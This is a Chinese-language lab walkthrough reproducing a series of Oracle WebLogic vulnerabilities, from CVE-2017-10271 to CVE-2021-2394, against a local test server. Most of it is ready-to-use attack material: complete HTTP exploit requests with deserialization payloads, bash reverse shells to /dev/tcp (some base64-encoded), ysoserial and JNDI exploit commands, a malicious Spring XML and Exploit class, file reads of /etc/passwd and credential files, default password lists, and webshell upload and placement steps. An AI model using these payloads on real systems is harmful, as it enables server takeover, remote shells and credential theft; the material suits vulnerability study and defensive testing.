Weblogic漏洞复现
0x01:Weblogic环境搭建
安装包,需要不同版本的直接去官网下载即可
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
双击打开
点击下一步
设置账号密码,Oracle@123
进入到目录,双击
输入账号密码
然后访问7001端口
搭建成功
0x02:WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
1. 漏洞原理
CVE-2017-10271漏洞产生的原因大致是Weblogic WLS Security 组件对外提供webservice服务,其中使用了 XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
2. 影响版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
3. 漏洞地址
默认端口:7001
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
4. 漏洞复现
版本号10.3.6.0
初步判断,访问192.168.88.133:7001/wls-wsat/CoordinatorPortType
存在下图则可能存在在漏洞。
访问上方漏洞路径都会出现相似的页面,我们通过数据包去验证漏洞是否存在。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.88.133:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=llYJhP8TvzYxpGhV4LFc1l6QS7PpryrXbZkDy5H86nLSxspLvWhq!-2109495751
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 596
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
返回值为500。
访问
http://192.168.88.133:7001/bea_wls_internal/test.jsp
成功写入,存在漏洞
接着反弹shell。POS下面的数据
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.88.133/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
启动监听。
成功返回shell
0x03:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
1. 漏洞原理
在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject
解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。攻击端生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击
在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
2. 影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
3. 漏洞复现
我们先使用nmap扫描是否使用了t3协议
利用ysoserial启动一个JRMP Server服务
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/1.txt"
使用cve-2018-2628.py脚本,向目标Weblogic发送数据包,这里cve-2018-2628.py和ysoserial-0.0.6-SNAPSHOT-BETA-all.jar放置在同一目录下使用。
python CVE-2018-2628.py 192.168.88.133 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.88.133 9999 JRMPClient
成功在目标机器上写入文件
反弹shell
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
直接使用自动化工具一步到位。检测到漏洞之后
拿到shell
反弹shell
反弹回shell
0x04:Weblogic未授权访问+任意文件上传漏洞(CVE-2018-2894)
1. 漏洞原理
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do
、/ws_utc/config.do
。
2. 影响版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
3. 漏洞复现
未授权访问/ws_utc/config.do页面
将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击左侧的安全 -> 增加,然后上传webshell:
最后的文件名就是 时间戳_文件名
然后访问http://192.168.88.133:7001/ws_utc/css/config/keystore/1628662540500_JspSpy.jsp
,即可执行webshell
0x05:Weblogic未授权访问+远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)
1. CVE-2020-14883: 权限绕过漏洞
远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
。
2. CVE-2020-14882: 代码执行漏洞
结合 CVE-2020-14883
漏洞,远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
,并在 WebLogic Server Console
执行任意代码。
3. 影响版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
4. 漏洞复现
我们访问
http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
直接跳转到管理控制台
此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞,这个漏洞的利用方式有两种
-
一是通过
com.tangosol.coherence.mvel2.sh.ShellSession
-
二是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令
http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/fuck%27);%22);
成功创建文件
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类时,需要构造一个恶意的xml文件。构造恶意XML
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.88.133/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过这个类发出如下请求,即可让Weblogic加载这个xml,并执行其中的命令,成功反弹回shell
http://192.168.88.133:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.133:8888/1.xml")
0x06:Weblogic前台任意文件读取 && 弱口令 && 后台getshell
1. 任意文件读取
本环境存在弱口令:
-
weblogic
-
Oracle@123
访问
http://your-ip:7001/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件
那么我们可以读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
,在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml
(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain
)。SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码,不要找错了:
然后用靶场decrpty里面的工具解密
2. 常用的Weblogic弱口令
system:password
weblogic:weblogic
admin:security
joe:password
mary:password
system:security
wlcsystem:wlcsystem
wlpisystem:wlpisystem
3. 后台上传war包GetShell
3.1 war简介
- war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了
- 简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西
3.2 war打包
- linux下把文件打包成war的压缩包
jar -cvf blog.war *
- 查看example.war
jar -tf blog.war
-
也可以先把文件压缩成zip,再改后缀名为war。
点击部署
点击上传文件
然后上传war包,一直下一步下一步然后完成。然后冰蝎连接
http://192.168.88.133:7001/shell/shell.jsp
0x07:Weblogic IIOP协议反序列化RCE(CVE-2020-2551)
1. 漏洞原理
Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口,这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤,resolveClass方法是会读取父类的,所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断,默认只会判断本类的类名,而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入
2. 影响版本
使用marshalsec起一个恶意的RMI服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
本地编译EXP,然后本地起一个Web服务器
exp
import java.io.IOException;
public class Exploit {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
编译
javac Exploit.java
命令行运行jar包
java -jar weblogic_CVE_2020_2551.jar 192.168.88.133 7001 rmi://192.168.88.133:1099/Exploit
复现失败。。。
0x08:Weblogic远程代码执行漏洞(CVE-2021-2109)
漏洞原理
漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行
1. 影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
2. 漏洞复现
参考链接 https://mp.weixin.qq.com/s/-ExbVwY7K3fY07h-KP4DEA
这里使用docker来搭建环境
docker pull ismaleiva90/weblogic12
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
访问http://your-ip:49163/console即可看到页面,User: weblogic Pass: welcome1
启动LDAP
java -jar JNDIExploit-v1.11.jar -i 192.168.88.133
然后发送数据包
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
Connection: close
Referer: http://192.168.88.133:49163/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=5ZY9z_8Wg654bjnM0Hmf8bqUjHKmT7Drs0qIkallCxuU154ML2u5!692946862
If-Modified-Since: Wed, 21 May 2014 19:34:20 GMT
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
反弹回shell
2.1 配合未授权访问
配合 Weblogic未授权范围 命令执行
/console/css/../consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.88.133:1389/Basic/WeblogicEcho;AdminServer")
登录后台可使用此POC,未授权的话用上面的
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer")
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.88.133:49163/console/login/LoginForm.jsp
cmd:id
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
0x09:Weblogic T3反序列化(CVE-2021-2394)
1. 漏洞复现
这里借用cve-2020-14882的环境
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/aaa.txt" -A 192.168.88.133
-C [执行的命令]
-A [开启ldap服务的ip]
发包
成功创建文件
反弹shell,记得编码。
0x10:Weblogic写Shell的几种方式
对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。上传需要找到几个点,获取物理路径,如下面三种:
1. 方法一:把Webshell写在控制台images里面
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
2. 方法二:写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问 `http://*.*.*.*:7001/uddiexplorer/shell.jsp
3. 方法三:在应用安装目录中写
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问 `http://*.*.*.*:7001/项目名/shell.jsp